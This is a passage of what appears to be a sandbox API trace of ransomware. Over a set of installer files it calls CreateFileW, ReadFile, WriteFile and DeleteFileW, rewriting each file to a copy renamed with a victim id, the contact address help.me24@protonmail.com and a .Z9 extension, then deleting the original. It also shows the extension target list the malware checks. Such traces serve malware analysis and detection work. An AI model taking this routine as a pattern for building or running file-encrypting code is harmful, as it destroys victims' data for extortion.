	[0069.530] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0069.530] lstrlenW (lpString=".jpg") returned 4
	[0069.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.530] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0069.530] lstrlenW (lpString="eula.rtf") returned 8
	[0069.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.531] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6309) returned 1
	[0069.531] CloseHandle (hObject=0x2bc) returned 1
	[0069.531] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80
	[0069.531] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.531] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.531] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.531] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.531] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0069.534] GetLastError () returned 0x0
	[0069.534] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x18a5, lpOverlapped=0x0) returned 1
	[0069.615] WriteFile (in: hFile=0x2ec, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x18b0, lpOverlapped=0x0) returned 1
	[0069.616] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.616] WriteFile (in: hFile=0x2ec, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0069.616] SetEndOfFile (hFile=0x2ec) returned 1
	[0069.616] CloseHandle (hObject=0x2ec) returned 1
	[0069.617] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.617] SetEndOfFile (hFile=0x2bc) returned 1
	[0069.618] CloseHandle (hObject=0x2bc) returned 1
	[0069.618] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.619] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1
	[0069.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.619] lstrlenW (lpString=".doc") returned 4
	[0069.619] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.619] lstrlenW (lpString=".docx") returned 5
	[0069.619] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.619] lstrlenW (lpString=".pdf") returned 4
	[0069.619] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.619] lstrlenW (lpString=".xls") returned 4
	[0069.619] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.619] lstrlenW (lpString=".xlsx") returned 5
	[0069.619] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.619] lstrlenW (lpString=".ppt") returned 4
	[0069.619] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.619] lstrlenW (lpString=".zip") returned 4
	[0069.619] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.619] lstrlenW (lpString=".rar") returned 4
	[0069.619] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.619] lstrlenW (lpString=".bz2") returned 4
	[0069.619] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.619] lstrlenW (lpString=".7z") returned 3
	[0069.619] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.619] lstrlenW (lpString=".dbf") returned 4
	[0069.619] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.620] lstrlenW (lpString=".1cd") returned 4
	[0069.620] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.620] lstrlenW (lpString=".jpg") returned 4
	[0069.620] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.620] lstrlenW (lpString=".doc") returned 4
	[0069.620] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.620] lstrlenW (lpString=".docx") returned 5
	[0069.620] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.620] lstrlenW (lpString=".pdf") returned 4
	[0069.620] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.620] lstrlenW (lpString=".xls") returned 4
	[0069.620] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0069.620] lstrlenW (lpString=".xlsx") returned 5
	[0069.620] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0069.620] lstrlenW (lpString=".ppt") returned 4
	[0069.620] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.620] lstrlenW (lpString=".zip") returned 4
	[0069.620] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0069.620] lstrlenW (lpString=".rar") returned 4
	[0069.620] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.620] lstrlenW (lpString=".bz2") returned 4
	[0069.620] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.620] lstrlenW (lpString=".7z") returned 3
	[0069.620] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.620] lstrlenW (lpString=".dbf") returned 4
	[0069.620] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.621] lstrlenW (lpString=".1cd") returned 4
	[0069.621] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0069.621] lstrlenW (lpString=".jpg") returned 4
	[0069.621] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.621] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0069.621] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0069.621] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.622] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=60816) returned 1
	[0069.622] CloseHandle (hObject=0x2bc) returned 1
	[0069.622] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80
	[0069.622] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.622] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.622] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.622] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.622] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0069.622] GetLastError () returned 0x0
	[0069.622] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xed90, lpOverlapped=0x0) returned 1
	[0069.710] WriteFile (in: hFile=0x2ec, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xeda0, lpOverlapped=0x0) returned 1
	[0069.712] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.712] WriteFile (in: hFile=0x2ec, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0069.712] SetEndOfFile (hFile=0x2ec) returned 1
	[0069.712] CloseHandle (hObject=0x2ec) returned 1
	[0069.714] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.714] SetEndOfFile (hFile=0x2bc) returned 1
	[0069.715] CloseHandle (hObject=0x2bc) returned 1
	[0069.715] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.716] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1
	[0069.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.716] lstrlenW (lpString=".doc") returned 4
	[0069.716] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.716] lstrlenW (lpString=".docx") returned 5
	[0069.716] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.716] lstrlenW (lpString=".pdf") returned 4
	[0069.716] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.716] lstrlenW (lpString=".xls") returned 4
	[0069.716] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.716] lstrlenW (lpString=".xlsx") returned 5
	[0069.717] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.717] lstrlenW (lpString=".ppt") returned 4
	[0069.717] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.717] lstrlenW (lpString=".zip") returned 4
	[0069.717] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.717] lstrlenW (lpString=".rar") returned 4
	[0069.717] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.717] lstrlenW (lpString=".bz2") returned 4
	[0069.717] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.717] lstrlenW (lpString=".7z") returned 3
	[0069.717] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.717] lstrlenW (lpString=".dbf") returned 4
	[0069.717] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.717] lstrlenW (lpString=".1cd") returned 4
	[0069.717] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.717] lstrlenW (lpString=".jpg") returned 4
	[0069.717] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.717] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.717] lstrlenW (lpString=".doc") returned 4
	[0069.717] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.717] lstrlenW (lpString=".docx") returned 5
	[0069.718] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.718] lstrlenW (lpString=".pdf") returned 4
	[0069.718] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.718] lstrlenW (lpString=".xls") returned 4
	[0069.718] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.718] lstrlenW (lpString=".xlsx") returned 5
	[0069.718] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.718] lstrlenW (lpString=".ppt") returned 4
	[0069.718] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.718] lstrlenW (lpString=".zip") returned 4
	[0069.718] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.718] lstrlenW (lpString=".rar") returned 4
	[0069.718] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.718] lstrlenW (lpString=".bz2") returned 4
	[0069.718] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.718] lstrlenW (lpString=".7z") returned 3
	[0069.718] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.718] lstrlenW (lpString=".dbf") returned 4
	[0069.718] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.718] lstrlenW (lpString=".1cd") returned 4
	[0069.718] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0069.718] lstrlenW (lpString=".jpg") returned 4
	[0069.718] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.718] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0069.719] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0069.719] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0069.752] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=77748) returned 1
	[0069.752] CloseHandle (hObject=0x2ec) returned 1
	[0069.752] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80
	[0069.752] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.752] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0069.753] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.753] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.753] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0069.753] GetLastError () returned 0x0
	[0069.753] ReadFile (in: hFile=0x2ec, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x12fb4, lpOverlapped=0x0) returned 1
	[0069.798] WriteFile (in: hFile=0x2fc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x12fc0, lpOverlapped=0x0) returned 1
	[0069.803] ReadFile (in: hFile=0x2ec, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.803] WriteFile (in: hFile=0x2fc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0069.803] SetEndOfFile (hFile=0x2fc) returned 1
	[0069.803] CloseHandle (hObject=0x2fc) returned 1
	[0069.806] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.806] SetEndOfFile (hFile=0x2ec) returned 1
	[0069.807] CloseHandle (hObject=0x2ec) returned 1
	[0069.808] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.808] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1
	[0069.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.808] lstrlenW (lpString=".doc") returned 4
	[0069.808] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.808] lstrlenW (lpString=".docx") returned 5
	[0069.808] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.808] lstrlenW (lpString=".pdf") returned 4
	[0069.808] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.808] lstrlenW (lpString=".xls") returned 4
	[0069.808] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.808] lstrlenW (lpString=".xlsx") returned 5
	[0069.808] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.808] lstrlenW (lpString=".ppt") returned 4
	[0069.808] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.809] lstrlenW (lpString=".zip") returned 4
	[0069.809] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.809] lstrlenW (lpString=".rar") returned 4
	[0069.809] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.809] lstrlenW (lpString=".bz2") returned 4
	[0069.809] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.809] lstrlenW (lpString=".7z") returned 3
	[0069.809] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.809] lstrlenW (lpString=".dbf") returned 4
	[0069.809] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.809] lstrlenW (lpString=".1cd") returned 4
	[0069.809] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.809] lstrlenW (lpString=".jpg") returned 4
	[0069.809] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.809] lstrlenW (lpString=".doc") returned 4
	[0069.809] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.809] lstrlenW (lpString=".docx") returned 5
	[0069.809] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.809] lstrlenW (lpString=".pdf") returned 4
	[0069.809] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.809] lstrlenW (lpString=".xls") returned 4
	[0069.809] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.809] lstrlenW (lpString=".xlsx") returned 5
	[0069.809] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.809] lstrlenW (lpString=".ppt") returned 4
	[0069.809] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.809] lstrlenW (lpString=".zip") returned 4
	[0069.809] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.810] lstrlenW (lpString=".rar") returned 4
	[0069.810] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.810] lstrlenW (lpString=".bz2") returned 4
	[0069.810] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.810] lstrlenW (lpString=".7z") returned 3
	[0069.810] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.810] lstrlenW (lpString=".dbf") returned 4
	[0069.810] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.810] lstrlenW (lpString=".1cd") returned 4
	[0069.810] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0069.810] lstrlenW (lpString=".jpg") returned 4
	[0069.810] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.810] Sleep (dwMilliseconds=0x64) 
	[0070.057] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.057] lstrlenW (lpString="eula.rtf") returned 8
	[0070.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0070.057] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3188) returned 1
	[0070.057] CloseHandle (hObject=0x2ec) returned 1
	[0070.057] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80
	[0070.058] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0070.058] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.058] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
